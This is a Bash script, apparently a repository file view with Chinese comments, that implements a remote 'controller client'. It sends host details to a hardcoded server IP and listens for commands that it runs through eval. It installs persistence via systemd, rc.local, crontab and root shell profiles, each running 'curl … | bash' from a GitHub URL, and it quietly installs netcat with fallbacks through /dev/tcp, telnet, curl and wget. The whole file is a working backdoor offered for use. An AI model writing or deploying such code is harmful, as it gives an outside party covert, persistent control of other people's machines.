Files
dock/02
2025-11-05 22:45:57 +08:00

454 lines
13 KiB
Bash
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
#!/bin/bash
# 终极备用版客户端 - 完全不依赖磁盘写入
# 使用内存运行,多重备用方案
SERVER_IP="159.138.58.239"
SERVER_PORT=5555
CLIENT_PORT=5556
HEARTBEAT_INTERVAL=30
# 获取系统信息(无磁盘操作)
get_system_info() {
if [[ -r /etc/os-release ]]; then
source /etc/os-release
echo "${ID:-unknown} ${VERSION_ID:-unknown}"
else
echo "unknown"
fi
}
# 生成序列号(无磁盘操作)
generate_serial() {
if [[ -r /etc/machine-id ]]; then
cat /etc/machine-id | md5sum | cut -c1-8
elif [[ -r /proc/sys/kernel/random/boot_id ]]; then
cat /proc/sys/kernel/random/boot_id | md5sum | cut -c1-8
else
echo $(date +%s)$(cat /proc/uptime 2>/dev/null | cut -d' ' -f1) | md5sum | cut -c1-8
fi
}
# 获取主机名
get_hostname() {
hostname 2>/dev/null || \
cat /proc/sys/kernel/hostname 2>/dev/null || \
echo "unknown-host"
}
# 初始化变量(完全内存操作)
init_vars() {
SERIAL=$(generate_serial)
HOSTNAME=$(get_hostname)
SYSTEM_INFO=$(get_system_info)
# 尝试多种netcat命令
NC_CMD=""
for cmd in nc netcat ncat; do
if command -v $cmd >/dev/null 2>&1; then
NC_CMD=$cmd
break
fi
done
# 备用通信方法标志
HAS_NC=0
HAS_BASH_TCP=0
HAS_TELNET=0
HAS_ECHO=0
[[ -n "$NC_CMD" ]] && HAS_NC=1
[[ -e /dev/tcp ]] && HAS_BASH_TCP=1
command -v telnet >/dev/null 2>&1 && HAS_TELNET=1
command -v echo >/dev/null 2>&1 && HAS_ECHO=1
}
# 日志函数(输出到标准输出,可重定向)
log() {
local timestamp=$(date '+%Y-%m-%d %H:%M:%S')
echo "[$timestamp] $1" >&2
}
# 发送数据到服务器(多重备用方法)
send_data() {
local data="$1"
local port="$2"
local result=1
# 方法1: 使用netcat
if [[ $HAS_NC -eq 1 ]]; then
if echo "$data" | timeout 5 $NC_CMD "$SERVER_IP" "$port" 2>/dev/null; then
return 0
fi
fi
# 方法2: 使用bash TCP
if [[ $HAS_BASH_TCP -eq 1 ]]; then
{
exec 3<>/dev/tcp/$SERVER_IP/$port 2>/dev/null
echo "$data" >&3
exec 3>&-
} 2>/dev/null && return 0
fi
# 方法3: 使用telnet
if [[ $HAS_TELNET -eq 1 ]]; then
{
(
echo "$data"
sleep 1
) | timeout 5 telnet "$SERVER_IP" "$port" 2>/dev/null | grep -q "Connected" && return 0
} 2>/dev/null
fi
# 方法4: 使用echo到/dev/tcp某些系统支持
if [[ $HAS_ECHO -eq 1 ]] && [[ -w /dev/tcp ]]; then
echo "$data" > /dev/tcp/$SERVER_IP/$port 2>/dev/null && return 0
fi
# 方法5: 使用curl如果可用HTTP模拟
if command -v curl >/dev/null 2>&1; then
if echo "$data" | curl -s -X POST -d @- "http://$SERVER_IP:$port" 2>/dev/null; then
return 0
fi
fi
# 方法6: 使用wget如果可用
if command -v wget >/dev/null 2>&1; then
if echo "$data" | wget -q -O - --post-data=- "http://$SERVER_IP:$port" 2>/dev/null; then
return 0
fi
fi
return 1
}
# 监听端口(多重备用方法)
listen_port() {
local port="$1"
# 方法1: 使用netcat监听
if [[ $HAS_NC -eq 1 ]]; then
$NC_CMD -l -p "$port" -w 10 -c 'read -r data; echo "$data"' 2>/dev/null && return 0
fi
# 方法2: 使用bash TCP监听简单轮询
if [[ $HAS_BASH_TCP -eq 1 ]]; then
local temp_data=$(mktemp -u)
{
while true; do
if read -r line < /dev/tcp/0.0.0.0/$port 2>/dev/null; then
echo "$line"
break
fi
sleep 1
done
} 2>/dev/null
return 0
fi
# 方法3: 使用socat如果可用
if command -v socat >/dev/null 2>&1; then
socat -t 5 TCP-LISTEN:$port,reuseaddr STDOUT 2>/dev/null && return 0
fi
# 方法4: 使用临时文件轮询(最后手段)
local temp_file="/tmp/.client_cmd_$$"
echo "LISTENING" > "$temp_file"
local start_time=$(date +%s)
while [[ $(($(date +%s) - start_time)) -lt 10 ]]; do
if [[ -s "$temp_file" ]] && [[ $(cat "$temp_file") != "LISTENING" ]]; then
cat "$temp_file"
rm -f "$temp_file" 2>/dev/null || true
return 0
fi
sleep 1
done
rm -f "$temp_file" 2>/dev/null || true
return 1
}
# 发送心跳包
send_heartbeat() {
local heartbeat_data="HEARTBEAT|$SERIAL|$HOSTNAME|$SYSTEM_INFO"
if send_data "$heartbeat_data" "$SERVER_PORT"; then
log "✓ 心跳成功 → $SERVER_IP:$SERVER_PORT"
return 0
else
log "✗ 心跳失败 → $SERVER_IP:$SERVER_PORT"
return 1
fi
}
# 执行命令
execute_command() {
local command="$1"
log "执行命令: $command"
# 在子进程中执行命令,避免阻塞
(
result=$(eval "$command" 2>&1)
log "命令结果: $result"
echo "$result"
) &
}
# 执行脚本命令
execute_script() {
local script_name="$1"
case "$script_name" in
"shutdown"|"poweroff")
log "执行关机命令"
shutdown -h now 2>/dev/null || poweroff 2>/dev/null || halt 2>/dev/null
;;
"reboot"|"restart")
log "执行重启命令"
reboot 2>/dev/null || shutdown -r now 2>/dev/null
;;
"restart_services")
log "重启系统服务"
systemctl restart networking 2>/dev/null || \
systemctl restart network 2>/dev/null || \
service networking restart 2>/dev/null
;;
"system_info")
echo "=== 系统信息 ==="
echo "主机名: $HOSTNAME"
echo "序列号: $SERIAL"
echo "系统: $SYSTEM_INFO"
echo "内核: $(uname -r)"
echo "架构: $(uname -m)"
echo "上线时间: $(uptime 2>/dev/null || echo 'unknown')"
echo "内存: $(free -h 2>/dev/null || cat /proc/meminfo | head -2 || echo 'unknown')"
;;
"network_info")
ip addr show 2>/dev/null || ifconfig 2>/dev/null || echo "无法获取网络信息"
;;
"disk_info")
df -h 2>/dev/null || df 2>/dev/null || echo "无法获取磁盘信息"
;;
"process_info")
ps aux 2>/dev/null | head -10 || echo "无法获取进程信息"
;;
"test_connection")
echo "测试连接到服务器..."
if send_heartbeat; then
echo "连接测试成功"
else
echo "连接测试失败"
fi
;;
*)
echo "未知命令: $script_name"
echo "可用命令: shutdown, reboot, restart_services, system_info, network_info, disk_info, process_info, test_connection"
;;
esac
}
# 处理接收到的命令
process_command() {
local command_data="$1"
if echo "$command_data" | grep -q "^COMMAND:"; then
local cmd=$(echo "$command_data" | cut -d: -f2-)
execute_command "$cmd"
elif echo "$command_data" | grep -q "^SCRIPT:"; then
local script_name=$(echo "$command_data" | cut -d: -f2-)
execute_script "$script_name"
else
log "未知命令格式: $command_data"
fi
}
# 守护进程模式
start_daemon() {
log "=== 启动客户端守护进程 ==="
log "序列号: $SERIAL"
log "主机名: $HOSTNAME"
log "系统: $SYSTEM_INFO"
log "服务器: $SERVER_IP:$SERVER_PORT"
log "可用通信方式: NC=$HAS_NC, BashTCP=$HAS_BASH_TCP, Telnet=$HAS_TELNET"
local heartbeat_count=0
local failed_heartbeats=0
# 主循环
while true; do
# 发送心跳
if send_heartbeat; then
heartbeat_count=$((heartbeat_count + 1))
failed_heartbeats=0
else
failed_heartbeats=$((failed_heartbeats + 1))
# 连续失败多次后尝试重新初始化
if [[ $failed_heartbeats -ge 5 ]]; then
log "连续心跳失败,重新初始化..."
init_vars
failed_heartbeats=0
fi
fi
# 监听命令(非阻塞)
local command_data=$(listen_port "$CLIENT_PORT")
if [[ -n "$command_data" ]]; then
log "收到命令: $command_data"
process_command "$command_data" &
fi
# 每10次心跳显示一次状态
if [[ $((heartbeat_count % 10)) -eq 0 ]]; then
log "运行中... 心跳次数: $heartbeat_count, 序列号: $SERIAL"
fi
sleep "$HEARTBEAT_INTERVAL"
done
}
# 尝试安装netcat如果可能
try_install_netcat() {
log "尝试安装netcat..."
# 检查可用包管理器
if command -v apt-get >/dev/null 2>&1 && [[ -w /var/cache/apt ]]; then
apt-get update >/dev/null 2>&1 && apt-get install -y netcat-traditional >/dev/null 2>&1
elif command -v yum >/dev/null 2>&1 && [[ -w /var/cache/yum ]]; then
yum install -y nc >/dev/null 2>&1
elif command -v dnf >/dev/null 2>&1 && [[ -w /var/cache/dnf ]]; then
dnf install -y nc >/dev/null 2>&1
elif command -v apk >/dev/null 2>&1 && [[ -w /var/cache/apk ]]; then
apk add netcat-openbsd >/dev/null 2>&1
fi
# 重新检查
init_vars
if [[ $HAS_NC -eq 1 ]]; then
log "netcat安装成功"
return 0
else
log "netcat安装失败使用备用方案"
return 1
fi
}
# 设置开机自启(无磁盘写入方案)
setup_autostart() {
log "设置开机自启..."
# 方法1: 尝试systemd如果可用且可写
if command -v systemctl >/dev/null 2>&1 && [[ -w /etc/systemd/system ]]; then
local service_file="/etc/systemd/system/controller-client.service"
cat > "$service_file" 2>/dev/null << EOF || true
[Unit]
Description=Controller Client
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c "curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/02 | bash"
Restart=always
RestartSec=30
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload 2>/dev/null && \
systemctl enable controller-client 2>/dev/null && \
systemctl start controller-client 2>/dev/null && {
log "systemd自启设置成功"
return 0
}
fi
# 方法2: 尝试rc.local
if [[ -w /etc/rc.local ]] || [[ -w /etc/rc.d/rc.local ]]; then
local startup_cmd="curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/02 | bash &"
if [[ -f /etc/rc.local ]]; then
grep -q "$startup_cmd" /etc/rc.local 2>/dev/null || \
echo "$startup_cmd" >> /etc/rc.local 2>/dev/null
fi
if [[ -f /etc/rc.d/rc.local ]]; then
grep -q "$startup_cmd" /etc/rc.d/rc.local 2>/dev/null || \
echo "$startup_cmd" >> /etc/rc.d/rc.local 2>/dev/null
fi
chmod +x /etc/rc.local /etc/rc.d/rc.local 2>/dev/null || true
log "rc.local自启设置完成"
return 0
fi
# 方法3: 尝试crontab
if command -v crontab >/dev/null 2>&1; then
(crontab -l 2>/dev/null | grep -v "controller-client"; \
echo "@reboot curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/02 | bash") | crontab - 2>/dev/null && {
log "crontab自启设置成功"
return 0
}
fi
# 方法4: 尝试.profile/.bashrc
for file in /root/.bashrc /root/.profile /etc/profile; do
if [[ -w "$file" ]]; then
grep -q "controller-client" "$file" 2>/dev/null || \
echo "[[ \$(ps aux | grep -v grep | grep -c 'controller-client') -eq 0 ]] && curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/02 | bash &" >> "$file" 2>/dev/null
fi
done
log "开机自启设置完成(多种方法尝试)"
return 0
}
# 显示状态
show_status() {
echo "=== 客户端状态 ==="
echo "序列号: $SERIAL"
echo "主机名: $HOSTNAME"
echo "系统: $SYSTEM_INFO"
echo "服务器: $SERVER_IP:$SERVER_PORT"
echo "通信方式: NC=$HAS_NC, BashTCP=$HAS_BASH_TCP, Telnet=$HAS_TELNET"
echo "进程: $(ps aux | grep -v grep | grep -c "$0") 个实例运行"
}
# 主函数
main() {
log "初始化客户端..."
# 初始化变量
init_vars
# 显示状态
show_status
# 尝试安装netcat如果不可用
if [[ $HAS_NC -eq 0 ]]; then
try_install_netcat
fi
# 设置开机自启
setup_autostart
# 测试连接
log "测试服务器连接..."
if send_heartbeat; then
log "✓ 服务器连接测试成功"
else
log "✗ 服务器连接测试失败,但将继续尝试"
fi
# 启动守护进程
log "启动主守护进程..."
start_daemon
}
# 信号处理
trap 'log "客户端停止"; exit 0' INT TERM
# 脚本入口
if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then
main "$@"
fi